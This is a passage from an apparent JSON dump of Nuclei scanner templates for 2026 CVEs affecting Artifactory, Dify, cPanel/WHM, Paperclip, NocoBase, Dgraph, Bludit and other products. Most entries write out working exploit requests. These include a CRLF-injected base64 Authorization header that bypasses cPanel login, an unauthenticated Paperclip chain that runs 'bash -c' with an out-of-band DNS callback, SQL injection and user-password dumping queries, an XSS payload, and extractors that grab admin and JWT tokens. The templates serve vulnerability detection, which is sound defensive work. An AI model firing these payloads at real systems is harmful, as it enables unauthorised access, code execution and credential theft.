\"{{BaseURL}}/api/action/datastore_search_sql?sql=SELECT+ts_rewrite('a'::tsquery,+'SELECT+''a''::tsquery,+(SELECT+current_database())::tsquery')\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - '\"success\": true'\n          - \"ts_rewrite\"\n          - \"records\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100deae66e167d7b243bbb7d034a8ea580bac37123b2b25d97bac06db06d4d81087022100a0b74a63657cd34666f37aebb9969d80028c4dfdfe8101bb9e7659b89b14485e:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-42031.yaml","vuln_id":"cve-2026-42031"},{"raw":"id: CVE-2026-42018\n\ninfo:\n  name: JFrog Artifactory - Anonymous Token Disclosure via Trailing Slash Auth Bypass\n  author: theamanrawat\n  severity: high\n  description: |\n    JFrog Artifactory contains an information disclosure caused by returning an internal anonymous-user token to unauthenticated callers when anonymous access is disabled, letting unauthenticated attackers access sensitive resources. The exploit requires anonymous access to be disabled.\n  impact: |\n    Unauthenticated attackers can access sensitive resources by obtaining internal tokens, potentially leading to information disclosure.\n  remediation: |\n    Update to the latest version where this issue is fixed.\n  reference:\n    - https://docs.jfrog.com/releases/docs/jfrog-security-advisories\n    - https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201\n    - https://github.com/BL0odz/JFrog_CVE-2026-65615-ByGLM\n    - https://edrabb.fr/posts/full-chain-preauth-rce-jfrog-artifactory/\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42018\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-42018\n    epss-score: 0.09983\n    epss-percentile: 0.95618\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.title:\"jfrog\"\n    fofa-query: title=\"jfrog\"\n  tags: cve,cve2026,jfrog,artifactory,auth-bypass,disclosure,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /access/api/v1/aws/token HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n        internal: true\n\n  - raw:\n      - |\n        POST /access/api/v1/aws/token/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"access_token\") && contains(body, \"anonymous\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: anonymous-jwt-token\n        part: body\n        regex:\n          - 'eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+'\n# digest: 490a00463044022058ad45ed1cf4d683c6e577a1699e6470c8d9515e916818896788f0b5aea6e95d02205fa4170bcb6fe4d2931de8b92025fae00de670dd51c30148d824c32e3d7cd4bc:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-42018.yaml","vuln_id":"cve-2026-42018"},{"raw":"id: CVE-2026-41948\n\ninfo:\n  name: Dify <=1.14.1 - Unauthenticated Plugin Daemon Path Traversal\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Dify version 1.14.1 and prior are affected by an unauthenticated path traversal in the Plugin Daemon icon proxy endpoint. The /console/api/workspaces/current/plugin/icon endpoint requires no authentication and passes the filename query parameter unsanitized into the internal Plugin Daemon REST API URL. Using ../ dot-sequence traversal an attacker escapes the authorized plugin/{tenant_id}/asset/ namespace and reaches arbitrary internal Plugin Daemon endpoints. The /health/check endpoint is always available and returns Plugin Daemon version, build time and pool status confirming exploitation.\n  impact: |\n    Unauthenticated attackers can traverse the Plugin Daemon's internal REST API, leaking system metadata (version hash, platform, pool capacity). Any internal Plugin Daemon endpoint is reachable, meaning any new endpoint becomes instantly exploitable from the public internet without credentials.\n  remediation: |\n    Upgrade to Dify 1.15.0 or later. The fix in api/core/plugin/impl/base.py (BasePluginClient._prepare_request) URL-decodes the path and raises ValueError on any segment containing .. or %2e%2e, preventing path traversal sequences from being forwarded to the Plugin Daemon.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41948\n    - https://www.zafran.io/resources/difytap-zafran-discovers-how-attackers-can-silently-wiretap-ai-data-across-tenants-on-a-platform-powering-1m-apps\n    - https://huntr.com/bounties/35b7ad59-e35d-443f-bf77-387bfb932ec0\n    - https://github.com/langgenius/dify/pull/35796\n    - https://osv.dev/vulnerability/CVE-2026-41948\n    - https://www.vulncheck.com/advisories/dify-path-traversal-via-plugin-daemon-internal-api-access\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L\n    cvss-score: 9.4\n    cve-id: CVE-2026-41948\n    epss-score: 0.22707\n    epss-percentile: 0.97734\n    cwe-id: CWE-23\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: langgenius\n    product: dify\n    shodan-query: title:\"Dify\"\n    fofa-query: icon_hash=\"97378986\"\n  tags: cve,cve2026,dify,langgenius,path-traversal,unauth,ssrf,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /signin HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"<title>Dify\") || contains(body, \"langgenius\") || contains(tolower(all_headers), \"x-dify\")'\n        condition: and\n\n  - raw:\n      - |\n        GET /console/api/workspaces/current/plugin/icon?tenant_id=00000000-0000-0000-0000-000000000000&filename=../../../health/check HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"pool_status\",\"\\\"status\\\"\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100eab95af20112974c74fcdcafd68c6a42c6a3008d89a00615ffc86dedf800d3a002201043e58620e4e7b2ccd226379a6dcb3aeec6e395b7cef24ef6ab8f638d4c8702:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-41948.yaml","vuln_id":"cve-2026-41948"},{"raw":"id: CVE-2026-41940\n\ninfo:\n  name: cPanel & WHM - Authentication Bypass via Session-File CRLF Injection\n  author: watchtowr,hadrian.io,DhiyaneshDk\n  severity: critical\n  description: |\n    cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.\n  impact: |\n    Unauthenticated remote attackers can gain unauthorized access to the control panel, compromising system security.\n  remediation: |\n    Update to version 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5 or later.\n  reference:\n    - https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026\n    - https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/\n    - https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py\n    - https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41940\n  metadata:\n    verified: true\n    max-request: 4\n    shodan-query: title:\"WHM Login\"\n  tags: cve,cve2026,cpanel,whm,auth-bypass,crlf,vkev,kev\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        POST /login/?login_only=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Connection: close\n\n        user=root&pass=wrong\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 401\n          - contains(header, \"whostmgrrelogin\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: session_no_ob\n        part: header\n        group: 1\n        regex:\n          - 'whostmgrsession=([^;,]+?)%2[Cc]'\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: whostmgrsession={{session_no_ob}}\n        Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ0K\n        Connection: close\n\n    disable-cookie: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 307\n          - contains(location, \"cpsess\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: cp_token\n        part: header\n        regex:\n          - '(/cpsess\\d+)'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        GET /scripts2/listaccts HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: whostmgrsession={{session_no_ob}}\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 401\n        internal: true\n\n  - raw:\n      - |\n        GET {{cp_token}}/json-api/version HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: whostmgrsession={{session_no_ob}}\n        Connection: close\n\n    disable-cookie: true\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        words:\n          - '\"data\":{\"version\":\"'\n          - '\"command\":\"version\"'\n          - '\"reason\":\"OK\"'\n          - '\"result\":1'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"Access denied\"\n        negative: true\n\n    extractors:\n      - type: regex\n        part: body\n        regex:\n          - '\"version\"\\s*:\\s*\"([^\"]+)\"'\n        group: 1\n# digest: 4a0a00473045022100f130f9f84ef8381e91bd1cbfe3783396f55c6e3230665d68a684941b497d814402200f6abc0ff1067d65c1eb80ac99a3ffefbdfc071dbeef4aff2985493c5d127ae9:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-41940.yaml","vuln_id":"cve-2026-41940"},{"raw":"id: CVE-2026-41679\n\ninfo:\n  name: Paperclip - Remote Code Execution\n  author: theamanrawat,pdteam\n  severity: critical\n  description: |\n    Paperclip < 2026.416.0 contains a remote code execution caused by a chain of six unauthenticated API calls in authenticated mode with default configuration, letting unauthenticated attackers execute arbitrary code remotely, exploit requires network access to the target.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise.\n  remediation: |\n    Update to version 2026.416.0 or later.\n  reference:\n    - https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7\n    - https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679\n    - https://www.rapid7.com/db/modules/exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41679\n    - https://github.com/bartfroklage/cve-2026-41679\n  classification:\n    cve-id: CVE-2026-41679\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cwe-id: CWE-862,CWE-287,CWE-1188\n    epss-score: 0.3167\n    epss-percentile: 0.983\n    cpe: cpe:2.3:a:paperclipai:paperclipai:*:*:*:*:*:node.js:*:*\n  metadata:\n    verified: true\n    max-request: 7\n    vendor: paperclipai\n    product: paperclipai\n    shodan-query: http.title:\"Paperclip\" port:3100\n    fofa-query: title=\"Paperclip\" && port=\"3100\"\n  tags: cve,cve2026,paperclip,paperclipai,rce,unauth,oast,intrusive,vuln,vkev\n\nvariables:\n  r_user: \"{{rand_text_alpha(8)}}\"\n  r_email: \"{{rand_text_alpha(8)}}@{{rand_text_alpha(5)}}.com\"\n  r_pass: \"{{rand_text_alphanumeric(16)}}\"\n  r_corp: \"{{rand_text_alpha(8)}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/health\"\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'deploymentMode')\"\n          - \"contains(body, 'status')\"\n        condition: and\n\n  - raw:\n      - |\n        POST /api/auth/sign-up/email HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Origin: {{RootURL}}\n\n        {\"email\":\"{{r_email}}\",\"password\":\"{{r_pass}}\",\"name\":\"{{r_user}}\"}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'createdAt')\"\n        condition: and\n\n  - raw:\n      - |\n        POST /api/auth/sign-in/email HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Origin: {{RootURL}}\n\n        {\"email\":\"{{r_email}}\",\"password\":\"{{r_pass}}\"}\n\n    extractors:\n      - type: regex\n        name: session_cookie\n        internal: true\n        part: header\n        group: 1\n        regex:\n          - '(?i)set-cookie:\\s*([^;\\r\\n]*session[_-]token=[^;\\r\\n]+)'\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'token')\"\n        condition: and\n\n  - raw:\n      - |\n        POST /api/cli-auth/challenges HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Origin: {{RootURL}}\n\n        {\"command\":\"{{rand_text_alpha(6)}}\"}\n\n    extractors:\n      - type: json\n        name: challenge_id\n        internal: true\n        json:\n          - \".id\"\n      - type: json\n        name: challenge_token\n        internal: true\n        json:\n          - \".token\"\n      - type: json\n        name: board_api_token\n        internal: true\n        json:\n          - \".boardApiToken\"\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - \"status_code == 201\"\n          - \"contains(body, 'boardApiToken')\"\n        condition: and\n\n  - raw:\n      - |\n        POST /api/cli-auth/challenges/{{challenge_id}}/approve HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Origin: {{RootURL}}\n\n        {\"token\":\"{{challenge_token}}\"}\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - \"status_code == 200\"\n          - \"!contains(body, 'error')\"\n        condition: and\n\n  - raw:\n      - |\n        POST /api/companies/import HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{board_api_token}}\n        Origin: {{RootURL}}\n\n        {\"source\":{\"type\":\"inline\",\"files\":{\"COMPANY.md\":\"---\\nname: {{r_corp}}\\nslug: {{r_corp}}\\n---\\nx\",\"agents/pwn/AGENTS.md\":\"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\".paperclip.yaml\":\"agents:\\n  pwn:\\n    icon: terminal\\n    adapter:\\n      type: process\\n      config:\\n        command: bash\\n        args:\\n          - -c\\n          - nslookup {{interactsh-url}}\"}},\"target\":{\"mode\":\"new_company\",\"newCompanyName\":\"{{r_corp}}\"},\"include\":{\"company\":true,\"agents\":true},\"agents\":\"all\"}\n\n      - |\n        POST /api/agents/{{agent_id}}/wakeup HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{board_api_token}}\n        Origin: {{RootURL}}\n\n        {}\n\n    extractors:\n      - type: json\n        name: agent_id\n        internal: true\n        json:\n          - \".agents[0].id\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: dsl\n        dsl:\n          - \"status_code_1 == 200\"\n          - \"contains(body_1, 'agents')\"\n          - \"status_code_2 == 202\"\n        condition: and\n# digest: 4b0a00483046022100b5d2e5cb6a78d42e9381e08dccc4fb4e601f96d3e9f14c2c8be0a871d0ffa452022100c5563e3415b5dc43b76087f079f680856c14a9848762ea622a3f39b81e33969e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-41679.yaml","vuln_id":"cve-2026-41679"},{"raw":"id: CVE-2026-41641\n\ninfo:\n  name: NocoBase - SQL Injection\n  author: theamanrawat\n  severity: high\n  description: |\n    NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.\n  remediation:\n    Upgrade NocoBase to version 2.0.39 or later\n  reference:\n    - https://github.com/advisories/GHSA-wrwh-c28m-9jjh\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41641\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 7.2\n    cve-id: CVE-2026-41641\n    epss-score: 0.01833\n    epss-percentile: 0.78968\n    cwe-id: CWE-89\n  metadata:\n    max-request: 5\n    verified: true\n    vendor: nocobase\n    product: nocobase\n  tags: cve,cve2026,sqli,nocobase,sqli,authenticated\n\nflow: http(1) && http(2) && http(3) || http(4)\n\nvariables:\n  name: \"{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/auth:signIn HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"account\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n    extractors:\n      - type: regex\n        name: token\n        part: body\n        internal: true\n        regex:\n          - '\"token\":\"([^\"]+)\"'\n        group: 1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/collections:create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"name\":\"{{name}}\",\"sql\":\"SELECT 1 as id\",\"fields\":[{\"name\":\"id\",\"type\":\"integer\"}],\"template\":\"sql\"}\n\n      - |\n        POST /api/sqlCollection:update?filterByTk={{name}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"sql\":\"SELECT * FROM users\",\"fields\": [ {\"name\": \"id\", \"type\": \"integer\"}, {\"name\": \"email\", \"type\": \"string\"}, {\"name\": \"password\", \"type\": \"string\"}]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/{{name}}:list HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"email\", \"password\")'\n        condition: and\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/app:getInfo\"\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        regex:\n          - '\"version\":\"(.*?)\"'\n        group: 1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"dialect\\\"\", \"\\\"version\\\"\")'\n          - 'compare_versions(version, \"<2.0.39\")'\n        condition: and\n# digest: 4a0a00473045022100c9120ec4db8462a23cc11b0499f9f4a1c275585cc2abb0303964712e05a37ad302202622a11cfecccb9eaa125b451dc2849f2fae73e9fba4f89cc32afe8f59d22325:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-41641.yaml","vuln_id":"cve-2026-41641"},{"raw":"id: CVE-2026-41640\n\ninfo:\n  name: NocoBase - SQL Injection\n  author: theamanrawat\n  severity: high\n  description: |\n    NocoBase versions prior to 2.0.39 contain a SQL injection vulnerability in the @nocobase/database package. The queryParentSQL function in eager-loading-tree.ts constructs a recursive CTE query by directly concatenating user-controlled primary key values into the SQL WHERE IN clause without parameterization. An authenticated attacker with record creation permissions on a tree collection with string-type primary keys can inject arbitrary SQL via crafted record identifiers, enabling full database compromise including data exfiltration and modification.\n  remediation:\n    Upgrade NocoBase to version 2.0.39 or later which uses parameterized bind variables instead of string concatenation in recursive eager loading queries.\n  reference:\n    - https://github.com/advisories/GHSA-4948-f92q-f432\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41640\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 7.5\n    cve-id: CVE-2026-41640\n    epss-score: 0.01875\n    epss-percentile: 0.79464\n    cwe-id: CWE-89\n  metadata:\n    max-request: 7\n    verified: true\n    vendor: nocobase\n    product: nocobase\n  tags: cve,cve2026,sqli,nocobase,sqli,authenticated\n\nflow: http(1) && http(2) && http(3) || http(4)\n\nvariables:\n  cname: \"{{to_lower(rand_base(8))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/auth:signIn HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"account\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n    extractors:\n      - type: regex\n        name: token\n        part: body\n        internal: true\n        regex:\n          - '\"token\":\"([^\"]+)\"'\n        group: 1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/collections:create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"name\":\"{{cname}}\",\"tree\":\"adjacencyList\",\"fields\":[{\"name\":\"id\",\"type\":\"string\",\"primaryKey\":true,\"interface\":\"input\"},{\"name\":\"title\",\"type\":\"string\",\"interface\":\"input\"},{\"name\":\"parent\",\"type\":\"belongsTo\",\"target\":\"{{cname}}\",\"foreignKey\":\"parentId\",\"targetKey\":\"id\",\"treeParent\":true},{\"name\":\"children\",\"type\":\"hasMany\",\"target\":\"{{cname}}\",\"foreignKey\":\"parentId\",\"sourceKey\":\"id\",\"treeChildren\":true}]}\n\n      - |\n        POST /api/{{cname}}:create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"id\":\"safe_root\",\"title\":\"Root Node\"}\n\n      - |\n        POST /api/{{cname}}:create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"id\":\"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1\",\"title\":\"injection\",\"parentId\":\"safe_root\"}\n\n      - |\n        POST /api/{{cname}}:create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"id\":\"leaf_node\",\"title\":\"leaf\",\"parentId\":\"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        GET /api/{{cname}}:list?appends[]=parent(recursively%3Dtrue)&pageSize=100 HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n          - 'contains(body, \"invalid input syntax for type integer\")'\n        condition: and\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/app:getInfo\"\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        regex:\n          - '\"version\":\"(.*?)\"'\n        group: 1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"dialect\\\"\", \"\\\"version\\\"\")'\n          - 'compare_versions(version, \"<=2.0.32\")'\n        condition: and\n# digest: 490a00463044022071dabde6f896e590c8b0398612dc0385772238aa81ae163f89cf4c08ee647140022078f28d6b4d022bd520fe080fa3e623b5eb5f748132a1ae2de1d81566486ac9d5:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-41640.yaml","vuln_id":"cve-2026-41640"},{"raw":"id: CVE-2026-41492\n\ninfo:\n  name: Dgraph <= 25.3.2 - Admin Token Disclosure\n  author: Divine Balija\n  severity: critical\n  description: |\n    Dgraph <= 25.3.2 contains an information disclosure caused by unauthenticated access to the /debug/vars endpoint , which publishes  the cmdline variable including the --security token= flag, letting unauthenticated remote attackers retrieve the admin token and access admin-only endpoints, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can retrieve the admin token and gain full administrative control over the Dgraph instance.\n  remediation: |\n    Update to Dgraph version 25.3.3 or later.\n  reference:\n    - https://github.com/dgraph-io/dgraph/security/advisories/GHSA-vvf7-6rmr-m29q\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41492\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-41492\n    epss-score: 0.03082\n    epss-percentile: 0.87727\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: dgraph\n    product: dgraph\n    shodan-query: \"Dgraph\"\n  tags: cve,cve2026,dgraph,exposure,token\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/debug/vars\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"cmdline\"\n          - \"token=\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - 'token=([^\"\\\\]+)'\n# digest: 4a0a0047304502206725ec7fe9e2fb60946306a5804beb51644341d27730e64ebaf70884e87455440221008416f9a4f58c3355ee2cb0dd874fbf0233fd048f7d775c857e7437231fd85c3a:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-41492.yaml","vuln_id":"cve-2026-41492"},{"raw":"id: CVE-2026-41456\n\ninfo:\n  name: Bludit CMS <= 3.20.0 - Cross-Site Scripting\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    Bludit CMS contains a reflected XSS caused by improper sanitization in the search plugin, letting unauthenticated attackers inject arbitrary JavaScript, exploit requires crafted malicious search query.\n  impact: |\n    Attackers can execute malicious scripts in users' browsers, potentially stealing session cookies or performing actions on their behalf.\n  remediation: |\n    Update to the version including commit 6732dde or later.\n  reference:\n    - https://github.com/bludit/bludit/commit/6732ddedda8b73ce0a017a1b6adf685100244e01\n    - https://gist.github.com/thepiyushkumarshukla/36b213cdb3c7d603e23fd23605cd681e\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41456\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-41456\n    epss-score: 0.03539\n    epss-percentile: 0.89314\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: bludit\n    product: bludit\n    shodan-query: http.html:\"Bludit\"\n    fofa-query: body=\"Powered by Bludit\" || body=\"bludit.com\"\n  tags: cve,cve2026,bludit,xss,cms\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(tolower(body), \"powered by bludit\", \"content=\\\"bludit\\\"\", \"bl-kernel\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /search/%22%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E.gif HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains_any(tolower(body), \"bludit\")'\n          - 'contains(body, \"onerror=alert(document.domain)>\")'\n        condition: and\n# digest: 4a0a0047304502203ece0d5dfefd667c80877c0ab12dbf6285c358758bfc66904511c5ea052038f8022100cabc05ae69e6473fba0be5ed5862d909d443156a9db8829490a7677d0981eec5:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-41456.yaml","vuln_id":"cve-2026-41456"},{"raw":"id: CVE-2026-41452\n\ninfo:\n  name: Krayin CRM < 2.2.1 - Installer Authentication Bypass\n  author: str4k3r\n  severity: critical\n  description: |\n    Krayin CRM 2.2.4 contains a missing authentication vulnerability in the installer middleware caused by bypassing the CanInstall middleware redirect check via crafted HTTP POST requests, letting unauthenticated remote attackers overwrite the primary administrator account and gain full administrative access, exploit requires crafted HTTP POST with specific header.\n  impact: |\n    Unauthenticated attackers can gain full administrative access, compromising all CRM data and control.\n  remediation: |\n    Update to the latest version that patches this vulnerability.\n  reference:\n    - https://github.com/krayin/laravel-crm/releases\n    - https://github.com/krayin/laravel-crm/compare/v2.2.0...v2.2.1\n  classification:\n    cve-id: CVE-2026-41452\n    epss-score: 0.03742\n    epss-percentile: 0.89886\n    cwe-id: CWE-287\n    cvss-score: 9.8\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: webkul\n    product: krayin-laravel-crm\n    fofa-query: title=\"Krayin\" || header=\"krayin_crm_session\"\n  tags: cve,cve2026,krayin,laravel,php,installer,auth-bypass\n\nhttp:\n  - raw:\n      - |\n        GET /install HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(tolower(body), \"krayin\", \"installation\", \"installer\")'\n        